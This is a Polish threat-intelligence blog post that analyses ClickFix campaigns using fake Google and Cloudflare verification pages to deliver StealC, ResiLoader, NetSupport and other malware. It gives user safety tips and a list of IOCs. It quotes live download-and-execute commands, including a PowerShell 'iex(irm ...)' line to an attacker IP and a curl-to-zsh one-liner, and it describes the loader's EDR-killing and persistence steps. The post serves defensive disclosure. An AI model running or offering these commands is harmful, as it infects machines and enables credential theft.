Ataki typu ClickFix, które nakłaniają użytkowników do samodzielnego uruchamiania złośliwych poleceń, wciąż ewoluują. W najnowszej kampanii wykorzystuje się fałszywe strony weryfikacyjne Google i Cloudflare, aby przekonać ofiary do zainfekowania własnych urządzeń.
Jeden błąd może spowodować zainstalowanie złośliwego oprogramowania, które wykradnie hasła i inne poufne dane, zapewni atakującym zdalny dostęp do komputera lub pobierze dodatkowe złośliwe oprogramowanie, które może przejąć pełną kontrolę nad systemem.
Udało nam się wykryć wiele kampanii wykorzystujących tę samą infrastrukturę do rozpowszechniania złośliwego oprogramowania, w tym HijackLoader, StealC, Remus, Amatera Stealer, CastleLoader, NetSupport oraz program kradnący dane oparty na Rust.
W jednym z łańcuchów infekcji złośliwa wersja legalnej aplikacji do przesyłania wiadomości „Franz” pobiera nieznany dotąd moduł ładujący o nazwie ResiLoader, który wyłącza oprogramowanie zabezpieczające przed uruchomieniem programu wykradającego dane StealC.
Zanim przejdziemy do szczegółów technicznych, oto kilka wskazówek, jak uniknąć stania się kolejną ofiarą.
Jak zachować bezpieczeństwo
Ataki typu ClickFix polegają na nakłonieniu użytkownika do samodzielnego uruchomienia poleceń. Najbezpieczniejsze podejście jest proste:
- Nigdy nie kopiuj ani nie uruchamiaj poleceń ze stron internetowych, chyba że postępujesz zgodnie z instrukcjami pochodzącymi z zaufanego źródła i dokładnie rozumiesz, jak działa dane polecenie.
- Należy zachować ostrożność w przypadku stron weryfikacyjnych. Google, Cloudflare, Microsoft i inne wiarygodne serwisy nigdy nie proszą o wklejenie poleceń PowerShell w Windows potwierdzenia, że jesteś człowiekiem, ani Windows rozwiązania jakiegoś problemu.
- Nie daj się ponieść pośpiechowi. Fałszywe strony weryfikacyjne często wykorzystują liczniki odliczające czas, liczniki odwiedzin lub ostrzeżenia, aby wywrzeć na tobie presję i skłonić cię do szybkiego działania.
- Dbaj o aktualność oprogramowania zabezpieczającego. Ochrona w czasie rzeczywistym oraz ochrona sieciowa mogą pomóc w blokowaniu złośliwych stron internetowych, zanim się na nie dostaniesz.
- Zastanów się nad nieoczekiwanymi instrukcjami technicznymi. Jeśli strona internetowa nakazuje Ci uruchomienie programu PowerShell, Wiersza poleceń lub Terminala, zatrzymaj się i zweryfikuj te instrukcje za pośrednictwem oficjalnych kanałów pomocy technicznej danej firmy.
Wskazówka dla zaawansowanych: Malwarebytes Browser Guard może ostrzec Cię, gdy strona internetowa próbuje skopiować treść do schowka — jest to powszechna sztuczka stosowana przez strony ClickFix.
Analiza techniczna
Kampanie przeanalizowane w niniejszym badaniu działają co najmniej od końca 2025 roku i wykorzystują różne fałszywe strony Google oraz Cloudflare do rozpowszechniania złośliwego oprogramowania. Chociaż przynęty różnią się między sobą, w dużej mierze opierają się na tej samej infrastrukturze i tym samym łańcuchu infekcji, a atakujący nieustannie testują nowe metody dostarczania i ładunki złośliwe.
Różne przynęty, jeden cel
Większość kampanii ma kilka wspólnych cech:
- Korzystanie z folderu
C:\ProgramData\Zoomsw celu wyodrębnienia późniejszych etapów - Polecenia PowerShell ClickFix o podobnej strukturze
- Wykorzystanie zasobników Cloudflare R2 do dostarczania treści
- Adresy IP obsługiwane przez firmę ASN Dedik Services Limited
- Odpowiedzi HTML zawierające wyłącznie frazę
"hehe"
Wskaźniki te ulegały zmianom na przestrzeni czasu, dlatego nie występują we wszystkich łańcuchach infekcji. Kampanie te nieustannie ewoluują, a nowe ładunki i metody ich dostarczania są regularnie wprowadzane. Na przykład w niektórych przypadkach do dystrybucji ładunku wykorzystuje się bezpośrednio adres IP zamiast zasobników.
Ostatnie polecenie skopiowane przez użytkownika zazwyczaj ma następujący wzór:
powershell -c “iex(irm ‘{IP}:{Port}/{Random Path}’ -UseBasicParsing)”
W analizowanych przypadkach port i ścieżka nie zawsze występują; porty są losowe, ale niektóre z nich to: 6600, 9900, 5506, 7895, 7493, 149, 8442.
Do wykonania tych poleceń wykorzystywanych jest kilka szablonów związanych z ClickFix, dotyczących głównie Google i Cloudflare. Stwierdziliśmy również, że w niektórych przypadkach polecenie PowerShell było rozpowszechniane za pośrednictwem frameworka IClickFix.
Zauważyliśmy, że kampanie ClickFix były rozpowszechniane za pośrednictwem:
- Stare strony internetowe, których ważność prawdopodobnie wygasła i które zostały ponownie nabyte przez sprawcę (sprawców).
- CloudFlare Pages (
.pages.devdomeny). - Zhakowane strony internetowe.
- Fałszywe usługi, na przykład związane z kodami QR lub dostępem do plików internetowych.
Google ClickFix przyciąga
Podmioty stojące za tymi kampaniami korzystają z różnych stron HTML i zestawów narzędzi związanych z Google.
Jedna z przynęt udaje weryfikację Google reCAPTCHA. Strony te są hostowane pod losowymi adresami URL, które wyświetlają fałszywe lub złośliwe treści. Domeny te to często starsze rejestracje, które od niedawna są przekierowywane na nowe adresy IP, co sugeruje, że zostały one przeznaczone na potrzeby tej kampanii.
Niektóre z tych stron zawierają parametry adresów URL, takie jak np. „zoneid”, „cost”, „device”, „country”, „clickid”, na przykład:
/conf/captcha.html?zoneid=10420852/wincapbot/nobot.html/xmr/trkuste.php?zone=5327134bless.php?zoneid=10327549&clickid=1091581084925173761&cost=0.000000&country=US&device=desktop


W tym przypadku funkcje związane z ClickFix są zaimplementowane w klasie CustomCaptcha. Polecenie jest zapisane w postaci jawnej, bez żadnych środków zaciemniających.

Inna metoda dystrybucji wykorzystuje serwis Cloudflare Pages hostowany na .pages.dev poddomeny.

W tym przypadku strona HTML została zaszyfrowana poprzez zadeklarowanie kilku zmiennych i zastosowanie do nich operacji XOR. Kod po odszyfrowaniu nosi nazwę SECURITY GATEWAY i składa się z funkcji GatewayRuntime, RemoteVault, BeaconDispatcher, Clipboard, TokenControlleri PanelController.
Kod umożliwia atakującym pobranie polecenia zarówno zdalnie, jak i lokalnie. W tym przykładzie złośliwe polecenie PowerShell jest przechowywane lokalnie.

Odkryliśmy również, że niektóre z tych domen rozpowszechniały w przeszłości inną pułapkę, w tym przypadku związaną z nieautoryzowanym logowaniem do serwisu Google. Ta pułapka typu ClickFix prosi użytkownika o skopiowanie i wklejenie złośliwego polecenia w celu ustawienia swojego urządzenia jako głównego.

Ciekawą cechą tego zestawu ClickFix jest to, że zawiera on „punkt zatwierdzenia”, jak opisano w komentarzach, oraz że osoba atakująca musi ręcznie wybrać z panelu polecenie, które użytkownik ma wykonać.


W ostatnich kampaniach wykryliśmy przynętę typu „ClickFix” związaną z aplikacją Google Meet, która wymaga skopiowania i wklejenia złośliwego polecenia w celu usunięcia problemów z dźwiękiem.

W analizowanych przypadkach punkt końcowy /api/driver-clipboard.php zwróciło następujące złośliwe polecenie:
{"mac":"curl -kfsSL $(echo '…'|base64 -D)|zsh","windows":"powershell -c \"iex(irm '151.240.151.126/rRlmZcaaZfAE3U2BaH' -UseBasicParsing)\""}
Inne przynęty
Osoby stojące za tą kampanią wykorzystują różne zestawy narzędzi i przynęty, związane głównie z Google. Wykryliśmy jednak również inne przynęty, które kopiowały polecenia związane z tą samą infrastrukturą.
Sprawcy tych kampanii przejmują również kontrolę nad wieloma stronami internetowymi, wykorzystując różne szablony związane z przynętą CloudFlare ClickFix.


Wykryliśmy kilka szablonów wykorzystywanych na stronach CloudFlare. W analizowanych przypadkach polecenie to występuje w postaci jawnej lub, w niektórych przypadkach, w postaci zaszyfrowanej.



Wykryliśmy również kilka specjalnie stworzonych fałszywych stron internetowych oferujących usługi. Na przykład strona „My QR Generator” wyświetla zaszyfrowany kod QR i prosi użytkownika o uruchomienie polecenia w PowerShellu w celu potwierdzenia, że nie jest robotem.

W tym przypadku polecenie jest zakodowane w systemie Base-64:

Narzędzie do pobierania PowerShell
Polecenie ClickFix uruchomione przez użytkownika dekoduje skrypt i umieszcza go w folderze Temp pod nazwą tmp{4 char}.tmp.ps1.
Wykryliśmy kilka odmian tego skryptu, ale najnowsze wersje działają w następujący sposób:
- Utwórz folder
C:\ProgramData\Zooms. - Pobierz kolejny etap z zasobnika CloudFlare i zapisz go w
C:\ProgramData\Zooms. W niektórych wersjach skryptu kolejny etap jest pobierany bezpośrednio z adresu IP. - Prześlij informacje dotyczące zainfekowanego komputera na adres
http://{IP}/dl-callback. W niektórych wersjach scenariusza ta część nie występuje.

Sprawcy tych kampanii wykorzystują wiele różnych ładunków. W ramach tych kampanii rozpowszechniane są różnorodne ładunki. Poniższa tabela zawiera zestawienie niektórych nazw pobranych plików oraz złośliwego oprogramowania, które instalują. W wielu z analizowanych przypadków ostateczny ładunek był rozpowszechniany za pomocą techniki „DLL Hijacking”, co zobaczymy również później w przypadku programu kradnącego dane StealC.
| Plik udostępniony | Rozpowszechnianie złośliwego oprogramowania |
libEGL.zip, Safe-1.zip | Zainfekowana aplikacja Electron, ResiLoader i StealC |
Test.msi | Deno Loader i PowerShell Stealer |
arworks.zip | Amatera Stealer |
water-night.zip | Remus Stealer |
Setup.msi, Invintrum_first.msi | NetSupport |
traffic1.msi | CastleLoader |
ibrowser.exe | Złodziej rdzy |
Przeanalizowaliśmy nowy program ładujący o nazwie ResiLoader, który ostatecznie rozpowszechnia złośliwe oprogramowanie StealC. Stwierdziliśmy również, że sprawca ataków w najnowszych kampaniach zaczął wykorzystywać środowisko Deno do rozpowszechniania programu kradnącego dane, opracowanego w języku PowerShell; analiza tego łańcucha infekcji może stać się tematem przyszłego wpisu na blogu.
Aplikacja Electron zawierająca trojana pobiera ResiLoader
W tym przypadku plik ZIP został pobrany ze strony:
pub-7080e0c20a0e47ca95a476869c532367.r2[.]dev/libEGL.zip
Po wyodrębnieniu do:
C:\ProgramData\Zooms\libEGL.zip_ext
Plik ZIP zawiera zainfekowaną trojanem wersję aplikacji do przesyłania wiadomości typu open source o nazwie „Franz”:

Złośliwy kod jest zaimplementowany w index.js plik:

Program do pobierania wykonuje następujące operacje:
- Zdekoduj ciągi znaków za pomocą funkcji
HC(). - Liczba wyświetleń
readme.txt, oczekuje klucza kampanii w postaciAAAA-BBBB, zwraca ją jako tablicę tokenów. W tym przypadku nazwa toresiloader-1i w tym celu nazwaliśmy pobrany plik DLL „ResiLoader”. - Liczba wyświetleń
%APPDATA%\setup.txt; jeśli brakuje tej wartości, generuje losowy ciąg znaków o długości 8 znaków i zapisuje go na stałe. - Zapewnienie trwałości za pomocą
app.setLoginItemSettings. - Wysyła żądanie POST do
https[:]//completstep[.]com/api/oraz opracować odpowiedź w formacie JSON- Jeśli
task.ejeśli jest obecny, to wykonujeeval(task.e); umożliwia to atakującemu wykonanie dowolnego kodu JavaScript. - Jeśli
task.filesjeśli istnieje, utwórz%TEMP%\<Date.now()>\, zdekodować i zapisać każdy plik; jeśli nazwa jakiegokolwiek pliku kończy się na.exe, uruchom to za pomocąchild_process.exec.
- Jeśli
W naszym przypadku otrzymaliśmy plik ZIP, który przeprowadza przejęcie kontroli nad biblioteką DLL ssh-add.exe:
{"task":{"name":"JUNE18USY","files":{
"msys-2.0.dll":"<base64>",
"msys-crypto-3.dll":"<base64>",
"msys-gcc_s-seh-1.dll":"<base64>",
"ssh-add.exe":"<base64>" }}}
Następnie plik wykonywalny uruchomiono za pomocą polecenia:
C:\WINDOWS\system32\cmd.exe /d /s /c ""C:\Users\{user}\AppData\Local\Temp\1782122017599\ssh-add.exe""
ResiLoader
The msys-crypto-3.dll jest zaszyfrowanym .NET NativeAOT loader który wykorzystuje technikę BYOD do obejścia oprogramowania antywirusowego i EDR, zapewnia sobie trwałość w systemie, a ostatecznie ładuje program kradnący dane StealC. Nie znaleźliśmy konkretnych informacji pozwalających na przypisanie autorstwa tego modułu ładującego, dlatego nazwaliśmy go „ResiLoader” na podstawie ciągu znaków występującego w poprzednich readme.txt.
Program ładujący zawiera kilka ciągów znaków – niektóre są jawne, a inne zaszyfrowane. Po odszyfrowaniu tych ciągów można uzyskać pełny obraz funkcjonalności programu ResiLoader.
MANPO: ReadModule len=...
MANPO: magicOffset=...
…
PERS: FAIL all file copies failed, skipping run key
PERS: FAIL both HKLM and HKCU Run key writes failed
…
RUNPE: CreateProcess failed
RUNPE: PEB patched
RUNPE: VirtualAllocEx failed
…
POST: RunForever exited (unexpected)
POST: entering RunForever
POST: hollow=
Ładowarka wykonuje następujące czynności:
- Rozpakuj zakodowany blob zawierający dwa ładunki, odczytując znacznik
AtLorenBaseoraz długość zakodowanego blobu. Następnie funkcja ta dekoduje blob i odszyfrowuje sterownikpcdhost.sys(OPSWAT
(AppRemover Driver) oraz ładunek StealC przy użyciu niestandardowego algorytmu deszyfrowania. - Zakończ ponad 140 procesów związanych z oprogramowaniem EDR/AV za pomocą usuniętego sterownika.
- Obejść kontrolę UAC za pomocą
ICMLuaUtilRozszerzony interfejs COM. - Utwórz folder
C:\ProgramData\Google Update, kopiując się; zapewniając trwałość za pomocą klucza rejestru RUN cmd /c start "" /D "C:\ProgramData\Google Update" ssh-add.exe
Ostatecznie program ładujący przeprowadza proces „hollowing” tego procesu ServiceModelReg.exe aby uruchomić program StealC.
IOC
Hash
72907d0ca3258365838626f6a8d993a6: Plik DLL ResiLoader
0234E3188F2883A438B3F2BEAB7A78B2: StealC
6a9ac6b3fff7b695dbd4df6ff7f6c516: Remus
206ce339febca0c3bcc850f42595fc63: Amatera Stealer
eee416efcb1e33f220cdb4b05496a07a: NetSupport RAT
b8d53740024d126cb55f83854335a4ab: Złodziej rdzy
Domeny
Udostępnij strony ClickFix:
onegeekworld[.]com
thefirmos[.]com
antibotv3[.]com
centralwildcats[.]com
cloud.antibotv3[.]com
cloudautosolutions[.]com
sunseekersupply[.]com
123clocks[.]com
orcanegames[.]com
rwmonitoring[.]com
100furniture[.]com
nepalcharchaa[.]com
p-floribunds.pages[.]dev
pg-altirade2.pages[.]dev
pg-cordivant-m6.pages[.]dev
g-luminence.pages[.]dev
generator-qrcode[.]online
regdev-google[.]com
khosla[.]capital
eorgke09054909j[.]com
dropboxi[.]com
Segmenty CloudFlare wykorzystywane do dystrybucji ładunku:
pub-4ed7b8ecee744dea930d74ba4ac74285.r2[.]dev
pub-620528e2dc874e16937673265aa23d39.r2[.]dev
pub-4ed7b8ecee744dea930d74ba4ac74285.r2[.]dev
pub-9682d5896df841679c5a17eb41273f89.r2[.]dev
pub-18d99d0d18b94e85824c1cc4d5b5c637.r2[.]dev
pub-0170eabb9df346bd822f863b7c3946e3.r2[.]dev
pub-4ed7b8ecee744dea930d74ba4ac74285.r2[.]dev
unitedstateverif[.]com: rozkład ładunku
bigflaredefence[.]com: rozkład ładunku
popularcard[.]shop: Rust Stealer C2
xzz[.]proxygrid[.]cc: Amatera Stealer C2
completstep[.]com: Ładowarka C2
eventlogerps1[.]ink: Deno Loader
be231ro963[.]com: Deno Loader
adresy IP
Adres IP używany do dystrybucji danych użytkowych:
151.240.151[.]126
85.239.149[.]16
85.239.149[.]40
93.152.224[.]29
151.240.151[.]46
93.152.224[.]167
85.239.149[.]78
192.69.195[.]131
135.181.171[.]40
94.26.83[.]206
91.92.34[.]128
85.239.144[.]31
93.152.224[.]39
94.26.90[.]112
146.19.248[.]120: StealC C2
Podziękowania
- Zgłoszono powiązaną domenę: https://x.com/stop_spammerz/status/2070152741037477960
- Zgłoszono powiązaną domenę: https://x.com/Yuki27183/status/2047354005605777850
- Zgłoszono przypadek zarażenia użytkownika na Reddicie: https://www.reddit.com/r/antivirus/comments/1stn24v/best_thing_to_do_after_getting_malware/
- Możliwy łańcuch zakażeń https://github.com/MessyToilet/csgo-scam-via-powershell-5-31-2026




